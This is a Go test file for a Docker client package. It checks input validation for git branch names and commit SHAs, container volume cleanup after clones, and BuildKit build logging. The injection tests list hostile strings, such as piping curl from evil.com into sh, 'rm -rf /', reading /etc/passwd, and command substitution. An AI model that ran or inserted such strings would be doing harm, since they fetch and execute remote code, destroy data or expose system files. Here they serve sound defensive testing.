package docker //nolint:testpackage // tests unexported regexps and Client struct

import (
	"bytes"
	"context"
	"encoding/json"
	"errors"
	"fmt"
	"log/slog"
	"net/http"
	"net/http/httptest"
	"net/url"
	"path/filepath"
	"strings"
	"testing"
	"time"

	"github.com/docker/docker/client"
	controlapi "github.com/moby/buildkit/api/services/control"
)

// mainBranch is the branch name used across validation tests.
const mainBranch = "main"

func TestValidBranchRegex(t *testing.T) {
	t.Parallel()

	valid := []string{
		mainBranch,
		"develop",
		"feature/my-feature",
		"release-1.0",
		"v1.2.3",
		"fix/issue_42",
		"my.branch",
	}
	for _, b := range valid {
		if !validBranchRe.MatchString(b) {
			t.Errorf("expected branch %q to be valid", b)
		}
	}

	invalid := []string{
		"main; curl evil.com | sh",
		"branch$(whoami)",
		"branch`id`",
		"branch && rm -rf /",
		"branch | cat /etc/passwd",
		"",
		"branch name with spaces",
		"branch\nnewline",
	}
	for _, b := range invalid {
		if validBranchRe.MatchString(b) {
			t.Errorf("expected branch %q to be invalid (potential injection)", b)
		}
	}
}

func TestValidCommitSHARegex(t *testing.T) {
	t.Parallel()

	valid := []string{
		"abc123def456789012345678901234567890abcd",
		"0000000000000000000000000000000000000000",
		"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
	}
	for _, s := range valid {
		if !validCommitSHARe.MatchString(s) {
			t.Errorf("expected SHA %q to be valid", s)
		}
	}

	invalid := []string{
		"short",
		"abc123",
		"ABCDEF1234567890123456789012345678901234", // uppercase
		"abc123def456789012345678901234567890abcd; rm -rf /",
		"$(whoami)000000000000000000000000000000000",
		"",
	}
	for _, s := range invalid {
		if validCommitSHARe.MatchString(s) {
			t.Errorf("expected SHA %q to be invalid (potential injection)", s)
		}
	}
}

func TestCloneRepoRejectsInjection(t *testing.T) {
	t.Parallel()

	c := &Client{
		log: slog.Default(),
	}

	tests := []struct {
		name      string
		branch    string
		commitSHA string
		wantErr   error
	}{
		{
			name:    "shell injection in branch",
			branch:  "main; curl evil.com | sh #",
			wantErr: ErrInvalidBranch,
		},
		{
			name:    "command substitution in branch",
			branch:  "$(whoami)",
			wantErr: ErrInvalidBranch,
		},
		{
			name:    "backtick injection in branch",
			branch:  "`id`",
			wantErr: ErrInvalidBranch,
		},
		{
			name:      "injection in commitSHA",
			branch:    mainBranch,
			commitSHA: "not-a-sha; rm -rf /",
			wantErr:   ErrInvalidCommitSHA,
		},
		{
			name:      "short SHA rejected",
			branch:    mainBranch,
			commitSHA: "abc123",
			wantErr:   ErrInvalidCommitSHA,
		},
		{
			name:      "valid inputs pass validation (hit NotConnected)",
			branch:    mainBranch,
			commitSHA: "abc123def456789012345678901234567890abcd",
			wantErr:   ErrNotConnected,
		},
		{
			name:    "valid branch no SHA passes validation (hit NotConnected)",
			branch:  mainBranch,
			wantErr: ErrNotConnected,
		},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			t.Parallel()

			_, err := c.CloneRepo(
				t.Context(),
				"git@example.com:repo.git",
				tt.branch,
				tt.commitSHA,
				"fake-key",
				"/tmp/container",
				"/tmp/host",
			)
			if err == nil {
				t.Fatal("expected error, got nil")
			}

			if !errors.Is(err, tt.wantErr) {
				t.Errorf("expected error %v, got %v", tt.wantErr, err)
			}
		})
	}
}

// TestPerformCloneRemovesContainerVolumes runs a clone against a fake Docker
// API and checks that the clone container is removed together with its
// anonymous volumes, whether the clone succeeds, fails, or is cancelled.
func TestPerformCloneRemovesContainerVolumes(t *testing.T) {
	t.Parallel()

	tests := []struct {
		name     string
		exitCode int
		cancel   bool
	}{
		{name: "succeeds", exitCode: 0},
		{name: "fails", exitCode: 1},
		{name: "cancelled", cancel: true},
	}

	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			t.Parallel()

			ctx, cancel := context.WithCancel(t.Context())
			t.Cleanup(cancel)

			removeQuery := make(chan url.Values, 1)

			srv := httptest.NewServer(http.HandlerFunc(
				func(w http.ResponseWriter, r *http.Request) {
					w.Header().Set("Content-Type", "application/json")

					switch {
					case r.Method == http.MethodDelete:
						removeQuery <- r.URL.Query()
					case strings.HasSuffix(r.URL.Path, "/containers/create"):
						_, _ = w.Write([]byte(`{"Id":"gitcontainer"}`))
					case strings.HasSuffix(r.URL.Path, "/wait") && tt.cancel:
						// Cancel the deploy while the clone is running.
						cancel()
						<-r.Context().Done()
					case strings.HasSuffix(r.URL.Path, "/wait"):
						_, _ = fmt.Fprintf(w, `{"StatusCode":%d}`, tt.exitCode)
					default:
						_, _ = w.Write([]byte(`{}`))
					}
				},
			))
			t.Cleanup(srv.Close)

			dockerAPI, err := client.NewClientWithOpts(
				client.WithHost("tcp://" + srv.Listener.Addr().String()),
			)
			if err != nil {
				t.Fatal(err)
			}

			c := &Client{docker: dockerAPI, log: slog.Default()}

			dir := t.TempDir()
			cfg := &cloneConfig{
				repoURL:       "git@example.com:repo.git",
				branch:        mainBranch,
				sshPrivateKey: "fake-key",
				containerDir:  filepath.Join(dir, "repo"),
				hostDir:       filepath.Join(dir, "repo"),
				keyFile:       filepath.Join(dir, "deploy_key"),
				hostKeyFile:   filepath.Join(dir, "deploy_key"),
			}

			_, _ = c.performClone(ctx, cfg)

			select {
			case query := <-removeQuery:
				if query.Get("v") != "1" {
					t.Errorf("clone container removed without its volumes: %v", query)
				}
			default:
				t.Error("clone container was not removed")
			}
		})
	}
}

// TestPerformBuildUsesBuildKit runs a build against a fake Docker API and
// checks that it asks for BuildKit and that BuildKit's progress reaches the
// build log as plain text.
func TestPerformBuildUsesBuildKit(t *testing.T) {
	t.Parallel()

	now := time.Now()
	status := controlapi.StatusResponse{Vertexes: []*controlapi.Vertex{{
		Digest:    "sha256:1111",
		Name:      "[build 2/2] RUN make",
		Started:   &now,
		Completed: &now,
	}}}

	data, err := status.Marshal()
	if err != nil {
		t.Fatal(err)
	}

	trace, err := json.Marshal(data)
	if err != nil {
		t.Fatal(err)
	}

	srv := httptest.NewServer(http.HandlerFunc(
		func(w http.ResponseWriter, r *http.Request) {
			switch {
			case strings.HasSuffix(r.URL.Path, "/build"):
				if r.URL.Query().Get("version") != "2" {
					http.Error(w, "not a BuildKit build", http.StatusBadRequest)

					return
				}

				_, _ = fmt.Fprintf(w, "{\"id\":\"moby.buildkit.trace\",\"aux\":%s}\n", trace)
			default:
				_, _ = w.Write([]byte(`{"Id":"sha256:built"}`))
			}
		},
	))
	t.Cleanup(srv.Close)

	dockerAPI, err := client.NewClientWithOpts(
		client.WithHost("tcp://" + srv.Listener.Addr().String()),
	)
	if err != nil {
		t.Fatal(err)
	}

	c := &Client{docker: dockerAPI, log: slog.Default()}

	var buildLog bytes.Buffer

	imageID, err := c.performBuild(t.Context(), BuildImageOptions{
		ContextDir: t.TempDir(),
		Tags:       []string{"upaas-test:1"},
		LogWriter:  &buildLog,
	})
	if err != nil {
		t.Fatal(err)
	}

	if imageID != "sha256:built" {
		t.Errorf("unexpected image ID %q", imageID)
	}

	if !strings.Contains(buildLog.String(), "[build 2/2] RUN make") {
		t.Errorf("build log is missing the build step:\n%s", buildLog.String())
	}
}